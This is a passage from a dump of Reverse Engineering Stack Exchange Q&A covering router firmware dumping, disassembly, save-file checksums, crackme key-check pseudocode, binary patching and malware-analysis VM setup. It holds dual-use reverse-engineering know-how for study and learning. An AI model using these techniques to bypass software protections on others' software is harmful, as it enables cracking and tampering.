This is my first attempt at doing some reverse engineering. I'm trying to dump the filesystem off a huawei hg523a TalkTalk router.

\n\n

The problem is its quite limited in the amount of programs that are on the device. Below are a list of programs i can use.

\n\n
BusyBox vv1.9.1 (2012-03-05 00:16:52 CST) multi-call binary\nCurrently defined functions:\n        [, [[, arp, ash, cat, chmod, chown, cp, date, echo, ftpget,\n        ftpput, halt, ifconfig, init, kill, killall, linuxrc,\n        ln, ls, mcast, mkdir, mknod, mount, netstat, nslookup,\n        ping, poweroff, ps, reboot, rm, route, sh, sleep, test,\n        top, traceroute, umount, vconfig, wget\n
\n\n

So im trying to extract the filesystem to another linux machine so i can go through it more eaisely. I can upload single files with the ftpput command.

\n\n
cat /proc/mtd\ndev:    size   erasesize  name\nmtd0: 00010000 00001000 \"boot\"\nmtd1: 00001000 00001000 \"flag\"\nmtd2: 003c0000 00001000 \"main\"\nmtd3: 0002d000 00001000 \"config\"\n
\n\n

What im trying to do is upload mtdblock0-3 and then mount this on my other machine to explore the folder structure etc.. It looks like from /proc/mounts that it is a squashfs file system.

\n\n
cat /proc/mounts\nrootfs / rootfs rw 0 0\n/dev/root / squashfs ro 0 0\nnone /dev tmpfs rw 0 0\n/proc /proc proc rw 0 0\nnone /var tmpfs rw 0 0\nnone /tmp tmpfs rw 0 0\nnone /mnt tmpfs rw 0 0\n
\n\n

So basically i upload the mtdblock0.

\n\n
ftpput -s -v -u james -p password -l /dev/mtdblock0 -r ftpdir/mtdblock0 192.168.1.64\n
\n\n

and mount it on the other computer with:

\n\n
root@kali:~/Desktop/talktalk/blocks# mount -t squashfs mtdblock0 /mnt\nmount: wrong fs type, bad option, bad superblock on /dev/loop0,\n       missing codepage or helper program, or other error\n       In some cases useful info is found in syslog - try\n       dmesg | tail  or so\n
\n\n

Could anyone guide me in the right direction as to what i might be doing wrong? So it not possible to transfer the filesystem in this way?

\n\n

thank you in advance for your help.

\n", "Title": "Dumping firmware through mtdblock device", "Tags": "|firmware|embedded|dumping|", "Answer": "

You can do cat /proc/mtd for the exact \"image\"

\n\n
cat /proc/mtd \ndev:    size   erasesize  name\nmtd0: 01000000 00001000 \"whole_flash\"\nmtd1: 00020000 00001000 \"bootloader\"\nmtd2: 00060000 00001000 \"userconfig\"\nmtd3: 004c0000 00001000 \"filesystem1\"\nmtd4: 00300000 00001000 \"kernel1\"\nmtd5: 00300000 00001000 \"kernel2\"\nmtd6: 004c0000 00001000 \"filesystem2\"\n
\n" }, { "Id": "4821", "CreationDate": "2014-07-10T01:46:17.863", "Body": "

I learned the disassembly challenges from this link. The following six challenges are listed in that article:

\n\n
    \n
  1. Data embedded in the code regions
    2. \n
  2. Variable instruction size
    3. \n
  3. Indirect branch instructions
    4. \n
  4. Functions without explicit CALL sites within the executable's code segment
    5. \n
  5. Position independent code (PIC) sequences
    6. \n
  6. Hand crafted assembly code.
    7. \n
\n\n

However, I am thinking about the following disassembly method which seems to solve the above challenges. Assuming we have an executable to be disassembled, an input set that can has 100% coverage of the code, and an emulator (e.g. QEMU). Then, we can instrument the emulator to output each instruction executed by the emulated CPU and the corresponding memory address. After that, we can translate each instruction to assembly instruction, and the whole program is now disassembled.

\n\n

Could you please tell me why this idea will not/will work?

\n", "Title": "Disassemble using an emulator", "Tags": "|disassembly|emulation|", "Answer": "
\n

Can we use dynamic analysis (or just emulator) to achieve 100% code coverage?

\n
\n\n

No, if I was right, it equals to Turing Halting problem.

\n\n
\n

emulator based disassemble approach

\n
\n\n

I am afraid this may not be a very new idea, and code coverage is a big issue.

\n\n

But it is always possible that you find a different angle and make some contributions in related area.

\n\n

An interesting paper in last year's tier-one security conference CCS 2013 Obfuscation Resilient Binary Code Reuse through even push related ideas future.

\n\n

It leverages an emulator to disassemble code, dynamic taint analysis to lift concrete value into symbols, and somehow re-use the disassembled asm code (embedded in C code.)

\n\n

I wish it could be helpful

\n" }, { "Id": "4824", "CreationDate": "2014-07-10T03:47:40.887", "Body": "

I recently overwrote the save game file of a video game that my girlfriend and I had been playing through. After trying to recover the file a few different ways (game didn't erase but overwrote the save file), I'm resigned to trying to rebuild the save data manually.

\n\n

I've played with reverse engineering binary executables from crackmes.de in the past with Ollydbg, but this is different and I feel like I'm a bit out of my waters.

\n\n

The game (Sonic All Stars Racing) uses a single .bin file to store records for four in-game accounts. Using a hex editor, pen and paper, I've begun to plot out the file structure and locate offsets for various records.

\n\n

The problem I have is that whenever I make a modification to the file, same size or otherwise, the game declares the save file corrupted and fails to use it. I assume that this is because the game is implementing some form of CRC/checksum on the data to prevent using a corrupted file. (Aside: are CRC and checksum interchangeable terms?)

\n\n
\n\n

The game saves the data to a file named \"ssr_save.bin\" which is responsible for four in-game profiles.

\n\n

What I did was create four different save files by making a backup of the save file after creating each profile.

\n\n

Each file is largely the same. 727040 bytes large. The only difference seems to be the first 12 bytes (0x00 to 0x0B inclusive). These first twelve bytes are completely unique between the four files.

\n\n

There does, however, appear to be more than one data object in that range as there are 3 bytes of zero in the centre of the 12.

\n\n
File 1: 19 8E 0B 60 13 00 00 00 F9 3E 00 B0\nFile 2: 93 7B 0F 36 13 00 00 00 B6 35 02 9B\nFile 3: 69 71 1B 14 13 00 00 00 A1 30 08 8A\nFile 4: D9 47 32 E8 13 00 00 00 D9 9B 13 74\n
\n\n

What I'm trying to figure out is what these bytes represent and how I can manipulate them to let me modify the body of the save data and not throw the corruption error in the game.

\n\n

Can anyone help me find out how the game is checksumming the file and reverse engineer the process so I can create a valid file?

\n\n

Here is an archive of the four save-data files

\n\n

Troy.

\n", "Title": "Modifying a binary save-data file for a video game with a CRC/Checksum check", "Tags": "|binary-analysis|static-analysis|hex|cryptography|", "Answer": "

This is quite hard question to answer due to variables within reverse engineering.

\n\n

I would recommend you start off with:

\n\n\n\n

Answer 1\nYour modified versions of your game files are just in the incorrect format.\nYou will need to some reverse engineering of how the bytes are used within the game.\nI'd recommend you breakpoint CreateFile and ReadFile and step through your debugger and see how each byte is been read. Ofcourse, this can become a massive task.

\n\n

Answer 2\nThe game file checksum could be stored somewhere on the file-system or registry to ensure data-integrity of the file. You could use tools such as Process Monitor to help you locate this file or you could set breakpoint on CreateFile and ReadFile and search for it yourself manually.\nhttp://technet.microsoft.com/en-gb/sysinternals/bb896645.aspx

\n\n

Let me know if you get answer 1 or 2 then I can expand my answer in more in-depth details of things you should look out for and so on.

\n\n

I hope this will be a good starting point to your issue.

\n" }, { "Id": "5827", "CreationDate": "2014-07-10T12:54:08.977", "Body": "

I've been experimenting with decompiling Lua bytecode and found useful tools like unluac, and LuaAssemblyTools. Unluac seems to do the trick with lua scripts compiled with luac giving me almost the exact source code, however when I convert lua script to bytecode using the code:

\n\n
file:write(string.dump(loadfile(filename)))\n
\n\n

I get a different output than with luac, however they are very much the same being only a byte extra at (a lot of) different places. Now this new file will give me an IllegalState exception from unluac and when I try to run the bytecode file (created by the code line above) in luac with the -l option I get:

\n\n
C:\\MyDir>luac -l stringdumped.txt\nluac: stringdumped.txt: bad integer in precompiled chunk\n
\n\n

So there is clearly a difference between string.dump and luac, even though it is suggested here: http://lua-users.org/wiki/LuaCompilerInLua to use string.dump as an emulator for luac.

\n\n

Could anyone explain the difference to me, and suggest how I would go about reversing a string.dump \"compiled\" script?

\n", "Title": "Decompiling/disassembling lua bytecode", "Tags": "|disassembly|decompile|byte-code|", "Answer": "

There is virtually no difference between the bytecode emitted by loadfile and luac.\nThe only possible reason for the error you are getting is that you are opening the file stringdumped.txt in text mode. Try the following code and see if there are any errors

\n\n
f = io.open(\"stringdumped.txt\", \"wb\") --Note that file is opened in binary mode\nf:write(string.dump(loadfile(\"sample.lua\")))\nf:close()\n
\n\n

Since there is no difference, the output file stringdumped.txt can both be run by the lua interpreter as well as decompiled by unluac. The reversing steps too are exactly similar as you would do with any other compiled lua scripts.

\n" }, { "Id": "5830", "CreationDate": "2014-07-10T17:44:34.873", "Body": "

I am trying to generate a coarse-grained Call Graph based on some assembly code disassembled from binary on x86 32 bit platform.

\n\n

It is very hard to generate a precise Call Graph based on asm code, thinking of various indirect control flow transfer, so right now I only consider direct control flow transfer.

\n\n

So firstly I am trying to identify functions (begin and end addresses) in the disassembled assembly code \nfrom a stripped binary on x86, 32bit.

\n\n

Right now, my plan is somehow like this:

\n\n

As for the begin addresses, I might conservatively consider any assembly code looks like this

\n\n
    push %ebp\n
\n\n

indicates the beginning address of a function.

\n\n

and also, I might scan the whole problem, identifying all the call instruction with the destination, the consider these function call's destinations as all the function begin address

\n\n

The problems are:

\n\n
    \n

  1. some of the functions defined in a binary might never be called.

    2. \n

  2. some of the call has been optimised as jump by compiler (thinking of tail recursive call)

    3. \n
\n\n

As for the end address, things become more tricky because multiple ret could exist in one single function...

\n\n

So I am thinking that I might conservatively consider the range between any nearest function begin addresses, as one function..

\n\n

Am I right? Is there any better solution..?

\n", "Title": "How to identify functions in a stripped binary on x86 32bit?", "Tags": "|disassembly|assembly|binary-analysis|static-analysis|", "Answer": "

Generally, the solutions to this problem can be classified to:

\n\n\n\n

I've recently revisited the problem of function identification in this blog post where I provide more details.

\n" }, { "Id": "5834", "CreationDate": "2014-07-11T16:33:41.737", "Body": "

I compiled the following program using gcc version 4.6.3 on Ubuntu 32bit with the command gcc -ggdb -o test test.c

\n\n
\nvoid test(int a, int b, int c, int d)\n{\n    int flag;\n    char buffer[10];
\n    flag = 31337;\n    buffer[0] = 'a';\n    a = 5;\n}\n\nint main(void)\n{\n    test(1, 2, 3, 4);\n    return 0;\n}\n
\n\n

The disassembly of the above test function in gdb is :-\n

\n   0x08048404 <+0>:     push   ebp\n   0x08048405 <+1>:     mov    ebp,esp\n   0x08048407 <+3>:     sub    esp,0x28\n   0x0804840a <+6>:     mov    eax,gs:0x14\n   0x08048410 <+12>:    mov    DWORD PTR [ebp-0xc],eax\n   0x08048413 <+15>:    xor    eax,eax\n   0x08048415 <+17>:    mov    DWORD PTR [ebp-0x20],0x7a69\n   0x0804841c <+24>:    mov    BYTE PTR [ebp-0x16],0x41\n=> 0x08048420 <+28>:    mov    DWORD PTR [ebp-0x1c],0x5\n   0x08048427 <+35>:    mov    eax,DWORD PTR [ebp-0xc]\n   0x0804842a <+38>:    xor    eax,DWORD PTR gs:0x14\n   0x08048431 <+45>:    je     0x8048438 \n   0x08048433 <+47>:    call   0x8048320 <__stack_chk_fail@plt>\n   0x08048438 <+52>:    leave\n   0x08048439 <+53>:    ret\n

\n\n

As much as I know, the assembly instruction after arrow corresponds to the C instruction a = 5; in test function. So the address [ebp-0x1c] should represent the address of variable a.
\nBut the address that [ebp-0x1c] represents is 0xbffff2bc and the address of variable a is 0xbffff2e0.
\nI don't understand how both addresses can be different. Is this some kind of optimization done by gcc?

\n", "Title": "gcc storing value of a variable at a different location", "Tags": "|disassembly|", "Answer": "

Since you're not reading a anywhere, it seems gcc doesn't even bother reading it from the stack, and creates a local variable for it. Try replacing the a=5 with a+=5, so the compiler has to read the variable, and the instruction will probably be changed to access [ebp+8], which is where the parameter should be stored.

\n\n

The reason for this behaviour might be that gcc tries to make the 32 bit code generation more similar to the 64 bit version, where parameters are passed in registers, and need to be saved below the stack pointer if the compiler needs the register, or a pointer to the parameter needs to be created. Doing the same in 32 bit - at least sometimes - might help the developers share code between the 32- and 64 bit optimizers.

\n" }, { "Id": "5839", "CreationDate": "2014-07-13T01:42:04.520", "Body": "

I have wanted to get into the art of reverse engineering for quite some time now, so I took a look at a few online lessons (such as opensecuritytraining.info) and also got my hands on IDA Pro.

\n\n

Obviously, since this is a complex topic, I was overwhelmed by registers, pointers, instructions et cetera. I know assembler and C fairly well, it's just (like I said earlier) a topic where you have to learn much.

\n\n

Now to my actual question: I have downloaded a \"CrackMe\"-Program and started debugging it. Basically the objective is to find a key which you then have to enter into a Textbox in the program. I found the key checking function fairly easily and identified some logic, but I can't wrap my head around how the program actually compares the string. My C skills are much greater than my Assembler skills, so I decided to get some Pseudocode printed. The problem is that the Pseudocode is pretty messy (I'm guessing that's because of compiler optimizations) and I basically can't understand what this piece of code is supposed to do.

\n\n

Here is the code (sorry it's a bit long):

\n\n
int __usercall TSDIAppForm_Button1Click<eax>(int a1<eax>, int a2<ebx>, int a3<edi>, int a4<esi>)\n{\n  int v4; // ebx@1\n  int v5; // esi@1\n  int v6; // eax@1\n  signed int v7; // eax@3\n  signed int v8; // edx@3\n  int v9; // ebx@3\n  int v11; // edx@12\n  int v12; // [sp-24h] [bp-34h]@1\n  int (*v13)(); // [sp-20h] [bp-30h]@1\n  int *v14; // [sp-1Ch] [bp-2Ch]@1\n  int v15; // [sp-18h] [bp-28h]@1\n  int (*v16)(); // [sp-14h] [bp-24h]@1\n  int *v17; // [sp-10h] [bp-20h]@1\n  int v18; // [sp-Ch] [bp-1Ch]@1\n  int v19; // [sp-8h] [bp-18h]@1\n  int v20; // [sp-4h] [bp-14h]@1\n  int v21; // [sp+0h] [bp-10h]@1\n  int v22; // [sp+4h] [bp-Ch]@1\n  int v23; // [sp+8h] [bp-8h]@2\n  void (__fastcall *v24)(int); // [sp+Ch] [bp-4h]@7\n  int v25; // [sp+10h] [bp+0h]@1\n\n  v22 = 0;\n  v21 = 0;\n  v20 = a2;\n  v19 = a4;\n  v18 = a3;\n  v5 = a1;\n  v17 = &v25;\n  v16 = loc_45C6FD;\n  v15 = *MK_FP(__FS__, 0);\n  *MK_FP(__FS__, 0) = &v15;\n  JUMPOUT(Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872)), 0xFu, *(unsigned int *)\"j\");\n  v6 = Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872));\n  System____linkproc___DynArraySetLength(v6);\n  System____linkproc___DynArraySetLength(664);\n  v14 = &v25;\n  v13 = loc_45C699;\n  v12 = *MK_FP(__FS__, 0);\n  *MK_FP(__FS__, 0) = &v12;\n  v4 = 0;\n  do\n  {\n    Controls__TControl__GetText(*(_DWORD *)(v5 + 872), &v21, v12);\n    *(_DWORD *)(v23 + 4 * v4) = *(_BYTE *)(v21 + v4 - 1);\n    ++v4;\n  }\n  while ( v4 != 16 );\n  v8 = 1;\n  v9 = 0;\n  v7 = 4585384;\n  do\n  {\n    if ( v8 == 16 )\n      v8 = 1;\n    *(_BYTE *)(v22 + v9++) = *(_BYTE *)v7++ ^ *(_BYTE *)(v23 + 4 * v8++);\n  }\n  while ( v9 != 665 );\n  v24 = (void (__fastcall *)(int))v22;\n\n  // I know the key to success lies here, but I can't figure out what this if is supposed to do\n  if ( *(_BYTE *)v22 != 96 || *(_BYTE *)(v22 + 4) != 208 || *(_BYTE *)(v22 + 9) )\n    MessageBoxA_0(0, \"Invalid Key\", \"Error\", 0);\n  else\n    v24(v22);\n  *MK_FP(__FS__, 0) = v12;\n  v11 = v15;\n  *MK_FP(__FS__, 0) = v15;\n  System____linkproc___LStrClr(&v21, v11, 4572932);\n  System____linkproc___DynArrayClear(&v22, off_45C568);\n  return System____linkproc___DynArrayClear(&v23, off_45C548);\n}\n
\n\n

I would appreciate it if someone could give me advice on how to \"deobfuscate\" this piece of code. Are there any plugins available to do this? Is there a special technique that I can use to figure it out? Would it be better to look at the Assembler code instead of the Pseudocode?

\n\n

I especially wonder where these weird constants (like 872 for example) come from.

\n\n

Answers would be highly appreciated.

\n", "Title": "Deobfuscating IDA Pseudocode", "Tags": "|ida|decompilation|deobfuscation|", "Answer": "

IDA Pro is no magic tool to automatically decompile binaries to their source code. The decompiler output should not be relied every time (as compiling leads to loss of information) although IDA boasts of the finest decompiler available. Instead focus on the disassembly listing. For specific parts, you can use the decompiler output as your reference.

\n\n

Deobfuscation is a multi-step process. First try to understand the usages of variables, structures, etc and then give them a more easy-to-understand names reflecting their purpose. In many cases you can understand the variables purposes by just noting how it is used in function calls. For example Vcl.Controls.TControl.GetTextLen returns the length of the control's text. That means among the parameters passed, one must be the a pointer to the TControl. You can use this information to rename variables.

\n\n

In case of VCL binaries, Interactive Delphi Reconstructor, will give you more easy-to-understand disassembly, as it is geared for that purpose. IDR also has a somewhat very limited decompilation capability.

\n\n

For better understanding IDA Pro and its myriad of features, I would recommend to go through these two books The IDA Pro Book and Reverse Engineering Code with IDA Pro

\n" }, { "Id": "5841", "CreationDate": "2014-07-13T08:27:18.583", "Body": "

It would be very useful to have a pure Python library that could assemble x86, x64, and ARM instructions. Do you have a recommendation?

\n\n

I don't mind if they are not pure Python, but that'd be preferred.

\n", "Title": "Python library for assembling x86, x64 and ARM exploits", "Tags": "|disassembly|assembly|python|", "Answer": "

Today, several years after the original post and answers - There's another noteworthy package for generating machine code from assembly- Keystone.

\n

Keystone is written in C++ but has binding for many languages (Python included), and supports multiple architectures (including x86, amd64 and ARM) so it's a perfect fit!

\n

Quoting the website's highlighted features:

\n
\n
    \n
  1. Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Ethereum Virtual Machine, Hexagon, Mips, PowerPC, Sparc, SystemZ, & X86 (include 16/32/64bit).
    2. \n
  2. Clean/simple/lightweight/intuitive architecture-neutral API.
    3. \n
  3. Implemented in C/C++ languages, with bindings for Java, Masm, Visual Basic, C#, PowerShell, Perl, Python, NodeJS, Ruby, Go, Rust, Haskell & OCaml available.
    4. \n
  4. Native support for Windows & *nix (with Mac OSX, Linux, *BSD & Solaris confirmed).
    5. \n
  5. Thread-safe by design.
    6. \n
  6. Open source.
    7. \n
\n
\n

Keystone is part of a more extensive set of tools together with Capstone (Disassembler) and Unicorn (Emulator).

\n

Additionally, if you just want something quick and easy (and don't mind using an online service) - shell-storm's online dis/assembler is also based on Keystone and Capstone

\n" }, { "Id": "5846", "CreationDate": "2014-07-14T02:28:15.467", "Body": "

While poking around at the headers and such from my new Simple.TV DVR, I found it downloading a file named rssflash_1035_201311211539.update00.bin. I ran binwalk to look for anything obvious, but it came up blank. I suspect it might be encrypted (?). Any thoughts about what I could do next to get more information about this?

\n\n

The download link to the file, in case anyone else is interested: \n[redacted]

\n\n

Thanks!

\n", "Title": "I found the .bin firmware for my Simple.TV device. Binwalk comes up blank. Anything I can do?", "Tags": "|firmware|", "Answer": "

Use a current. up to date version of binwalk, it works fine

\n\n
$ binwalk rssflash_1035_201311211539.update00.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 83899310 bytes,  3291 inodes, blocksize: 131072 bytes, created: Fri Nov 22 00:48:15 2013\n
\n\n

Or you can use Firmware Mod Kit's unsquash-all to unsquash it.

\n" }, { "Id": "5847", "CreationDate": "2014-07-14T02:35:37.890", "Body": "

I am somewhat interested in learning how to RE but right now am learning C, and was wondering if anyone could give me a link to a good tutorial on how to use gdb

\n\n

Also, in reference to registers...if rax is 64-bit and eax is 32, then ax must be 16, right? What's 8bit...or was 8bit ASM not a thing?

\n", "Title": "Learning disASM, other things", "Tags": "|gdb|", "Answer": "

When I was learning RE (and I'm always still learning!), I found reading \"CODE\" by Charles Petzold to be extremely informative and really helped me understand WHY computers work the way that they do on a low level. Sample chapter available here.

\n\n

It's a book about first principles, but reads like a fiction book, not a computer science book. At one point Petzold walks the reader through how to build a computer counting machine using only parts that would've been available ~100 years ago. If you've never taken an electronics class and concepts such as gates and boolean logic aren't very clear, start here. You'll learn about these concepts without even realizing it.

\n\n

After reading that (which you can finish in a couple evenings), then you could move on to GDB. I'm sure others can make better recommendations than me on GDB, but I found this book helpful the times I've used GDB: The Art of Debugging with GDB and DDD

\n\n

To answer the question about registers, I think an image can make this most clear. Note that this only covers 32-bits, but should be easy enough to see how the 64-bit registers expand on this.

\n\n

\"enter\nsource: http://www.cs.virginia.edu/~evans/cs216/guides/x86.html

\n" }, { "Id": "5849", "CreationDate": "2014-07-14T05:55:06.107", "Body": "

I was reversing some C++ code and encountered following function.

\n\n
sub_106C0A0 proc near\n\nvar_10= dword ptr -10h\nvar_C= dword ptr -0Ch\nvar_4= dword ptr -4\n\npush    0FFFFFFFFh\npush    offset SEH_106C0A0\nmov     eax, large fs:0\npush    eax\nmov     large fs:0, esp\npush    ecx\npush    esi\nmov     esi, ecx\npush    edi\nlea     edi, [esi+4]\npush    30h\nmov     ecx, edi\nmov     [esp+1Ch+var_10], esi\nmov     dword ptr [esi], offset off_12C0680\ncall    struc_13_ctor\nmov     dword ptr [edi], offset off_12C057C ; another vtable init ?\n
\n\n

This function passes this pointer of some object (struc_13), which is esi+4, to the struc_13_ctor. Inside the struc_13_ctor function, it initializes the vtable pointer and other member variables.

\n\n
; int __thiscall struc_13_ctor(struc_13 *this, __int16 a2)\nstruc_13_ctor proc near\n\narg_0= word ptr  4\n\nmov     dx, [esp+arg_0]\nmov     eax, ecx\nxor     ecx, ecx\nmov     dword ptr [eax], offset struc_13_vtable\nmov     [eax+4], ecx\nmov     [eax+8], ecx\nmov     [eax+0Ch], dx\nmov     [eax+0Eh], cx\nmov     [eax+14h], ecx\nmov     [eax+10h], ecx\nretn    4\nstruc_13_ctor endp\n
\n\n

However after returning from struc_13_ctor, it overwrites the vtable pointer with the new value, which is off_12C057C in this case.

\n\n
call    struc_13_ctor\nmov     dword ptr [edi], offset off_12C057C ; another vtable init ?\n
\n\n

I have seen this kind of behaviors a lot while looking at ctor functions, but never understood why this happens.

\n", "Title": "Questions about reversing object oriented code(initializing vtables in ctors)", "Tags": "|c++|", "Answer": "

I think the c++ code would look something like this:

\n\n
// has vtbl struc_13_vtable\n// has constructor struc_13_ctor\nstruct struc_13 {\n    int  a,b;\n    short c,d;\n    int e,f;\n\n    struc_13(short x)\n       : a(0), b(0), c(x), d(0), e(0), f(0)\n    { }\n\n    virtual void someotherfn();\n};\n\n// has vtbl off_12C057C\n// has inlined constructor\nstruct derivedmember : struc_13 {\n    derivedmember() : struc_13(0x30)\n    { }\n    virtual void someotherfn();\n};\n\n// has vtbl off_12C0680\n// has constructor sub_106C0A0\nstruct A {\n    derivedmember  member;\n    virtual void somefn();\n};\n
\n" }, { "Id": "5851", "CreationDate": "2014-07-14T13:00:56.863", "Body": "

To test the debugging capabilities of Hopper, I wrote a simple C++ command line application, and tried to run it on the remote debugging server (with gdb). However, I learned after I failed to be able to interact with the application, from the author, that the Hopper server does not support CL apps currently. In other words, it seems the app has to have its own GUI.

\n\n

Are there any workarounds for this? Specifically, is there a way I can write a standalone C++ Mach-O executable which has its own version of terminal built into it (without all the features, just an interpreter)?

\n", "Title": "Interacting with command line programs in Hopper disassembler (Mac OS 10.9)", "Tags": "|debuggers|c++|hopper|mach-o|", "Answer": "

Update: Admirably, after just a few days after I sent in a request to include a feature to send input to command line applications, the sole developer of Hopper disassembler has included the feature. Notice the new 'application output' tab in the new Hopper disassembler 3.3.3:

\n\n

\"enter

\n" }, { "Id": "5855", "CreationDate": "2014-07-14T19:11:26.170", "Body": "

I am getting the following from gdb:

\n\n

\"enter

\n\n

Below is the source of the program and the tutorial it came from. BAsed on what is going on in the tutorial, I should not be getting an error.

\n\n
int main()\n{\n    int a = 5;\n    int b = a + 6;\n    return b;\n}\n
\n\n

https://www.hackerschool.com/blog/7-understanding-c-by-learning-assembly

\n", "Title": "Why can't gdb find the address of a stack variable", "Tags": "|gdb|", "Answer": "

You need debugging symbols for the variable names to be defined in GDB. Did you compile with the -g switch?

\n" }, { "Id": "5864", "CreationDate": "2014-07-15T16:52:30.820", "Body": "

I dont have any experience with assembler or reversing code. I need to change charset of .exe program to support turkish characters. I have opened it in Ollydbg do some tests.

\n\n

\"enter

\n\n

There are several blocks like this. I tried to change binary 6A 01 to 6A A2 which should change to 162 (turkish charset) but instead turned to negative value. Also there are some codes like this one. Is changing CP_ACP to CP_UTF8 gonna work ?

\n\n

Either way, is it possible to edit like this and get program support charset ?

\n\n

\"enter

\n", "Title": "Change program's codepage / charset", "Tags": "|disassembly|ollydbg|", "Answer": "
\n

I tried to change binary 6A 01 to 6A A2 which should change to 162 (turkish charset) but instead turned to negative value.

\n
\n\n

Usually the instruction set reference is a huge help if you don't understand how instructions behave. In this case, I'd say you will need to use 68 (PUSH imm32) instead of 6A (PUSH imm8). The imm8 is sign-extended when pushed onto the stack. Note that you'll have to either shift the following function code by 3 bytes (which are the difference in sizes between imm32 and imm8 operands). Depending on the compiler used, its options, and the function size, there may be pad bytes after the function which can be used exactly for that. Watch out for e.g. jump tables, if there are any -- they may need to be patched as well.

\n\n

If it is not possible to shift the code, you can make use of code space somewhere else in the executable -- usually, the last page in .text is not fully used; move instructions that do not fit there and make a jump, like:

\n\n
...\nPUSH EDI\nPUSH EDI\nPUSH A2 ; Your patched insn; 5 bytes\n...\nPUSH 190\nPUSH EDI\nPUSH EDI\n; So we need 2 extra bytes here\n; Moving CALL gives 6, patched PUSH takes 3, patched JMP takes 5\n; Moving two PUSHes along with CALL solves the problem\nJMP _somewhere_ ; Takes 5 bytes, opcode E9 disp32\nPUSH Game5_4.... ; back is here\n
\n\n

And then, in the newly coded part (_somewhere_):

\n\n
PUSH EDI\nPUSH EAX\nCALL DWORD PTR DS:[<&GDI32.CreateFontA>]\nJMP back\n
\n\n
\n

Is changing CP_ACP to CP_UTF8 gonna work ?

\n
\n\n

I don't know, to be honest. Depends a lot on other code. Making the program support something it was not designed for is a big ordeal. It might work, it might not, it might end up being buggy.

\n" }, { "Id": "5868", "CreationDate": "2014-07-16T01:21:22.707", "Body": "

It seems that Windows 8 broke Ollydbg as several ntdll functions keep throwing exception 0xC0000008 and crashing my debugger.

\n\n

I am now using Windbg. But, I am unable to view FS (specifically FS:[0]). How can I get a dump of FS via Windbg? I've tried googling to no avail. I am specifically interested in SEH, but all I can find is dumping TEB or PEB.

\n", "Title": "How can I view FS:[0] with windbg?", "Tags": "|x86|windbg|", "Answer": "

If you're looking to find the base address of a segment based on its selector, you can use dg<selector>; in this context you would use dg fs:

\n\n
0:000> dg fs\n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n003B 7ffdf000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3\n
\n\n

You can see above that the Base of fs is 7ffdf000, so FS:[0] == [7ffdf000].

\n\n
0:000> db 7ffdf000\n7ffdf000  1c f7 1d 00 00 00 1e 00-00 f0 1c 00 00 00 00 00  ................\n7ffdf010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00  ................\n7ffdf020  0c 13 00 00 bc 0f 00 00-00 00 00 00 2c f0 fd 7f  ............,...\n7ffdf030  00 a0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00  ................\n7ffdf040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n7ffdf050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n7ffdf060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n7ffdf070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n
\n" }, { "Id": "5874", "CreationDate": "2014-07-16T16:41:25.980", "Body": "

I'm debugging a process inside a VM via Olly, and occasionally exporting a section dump when needed and loading it on the host system for better analysis.

\n\n

Right now I'm looking at a dump of a certain code section that's referencing function calls in another, dynamically allocated, section. In the debugger I can of course see all the function calls, but in IDA all I have are calls to immediate addresses that don't exist.

\n\n

I'd like to be able to dump the referenced section and somehow bluntly attach it to the same .idb so IDA would be able to resolve the references for me.

\n\n

I couldn't find anything about it on google or when digging around the menus.\nDid I miss something or is this impossible or requires an addon? It's also possible for me to write an idapython script that defines and copies the section over, but I don't see any relevant API calls.

\n\n

Debugging via IDA and taking a full memory snapshot is a solution I'd like to not have to use; I enjoy using olly.

\n", "Title": "Adding another section to an idb file", "Tags": "|ida|", "Answer": "

After loading the main dump into IDA, in IDA's menubar go to File \u2192 Load file \u2192 Additional binary file..., select the dump of the dynamically allocated memory, and specify the dynamic allocation address as the Loading segment.

\n" }, { "Id": "5876", "CreationDate": "2014-07-16T18:20:49.473", "Body": "

I'm running two virtual machines with Windows 7 (host OS Mac) using Virtualbox which I'd like to use to analyze malware. I have configured Visual Studio debugging and WinDBG, as well as other tools.

\n\n

What's the best way to save a backup of the victim machine to quickly recover from damage caused by malware? Should I make a .zip of the entire Virtualbox folder and store it elsewhere?

\n\n
\n\n

Additional question: is it safe to run malware on a virtual machine with bridged adapter network settings for VS remote debugging?

\n", "Title": "Setting up virtual machine to recover from malware", "Tags": "|debugging|virtual-machines|", "Answer": "

To save and restore your VM's state, use snapshots: http://www.virtualbox.org/manual/ch01.html#snapshots

\n\n
\n

With snapshots, you can save a particular state of a virtual machine\n for later use. At any later time, you can revert to that state, even\n though you may have changed the VM considerably since then. A snapshot\n of a virtual machine is thus similar to a machine in \"saved\" state, as\n described above, but there can be many of them, and these saved states\n are preserved.

\n
\n\n

\"VirtualBox

\n\n

Please create a separate Stack Exchange question for your second question.

\n" }, { "Id": "5880", "CreationDate": "2014-07-16T23:03:35.030", "Body": "

I have the following assembly code :

\n\n
.....\nlea eax, [ebp+ThreadID]\npush eax              ; lpThreadID\npush 0                ; dwCreationFlags\npush 0                ; lpParameter\npush offset StartAddress  ; lpStartAddress\npush 0                ; dwStackSize\ncall CreateThread\n....\n
\n\n

So, I try to translate it in a C-like pseudocode:

\n\n
DWORD* LPWORD eax_lpThreadID = NULL;\nDWORD dwCreationFlags;\nvoid *LPVOID lpParameter;\nSIZE_T dwStackSize;\nLPSECURITY ATTRIBUTES lpThreadAttributes;\n\nHANDLE handle_to_new_Thread = CreateThread(lpThreadAttributes, dwStackSize, ..., lpParameter, dwCreationFlags, eax_lpThreadID );\n
\n\n

As you can see, I do not include the 3rd parameter, namely the parameter LPTHREAD_START_ROUTINE lpStartAddress, because I have problems understanding it.\nIn this SO thread i have read that a LPTHREAD_START_ROUTINE is a function pointer defined as:

\n\n
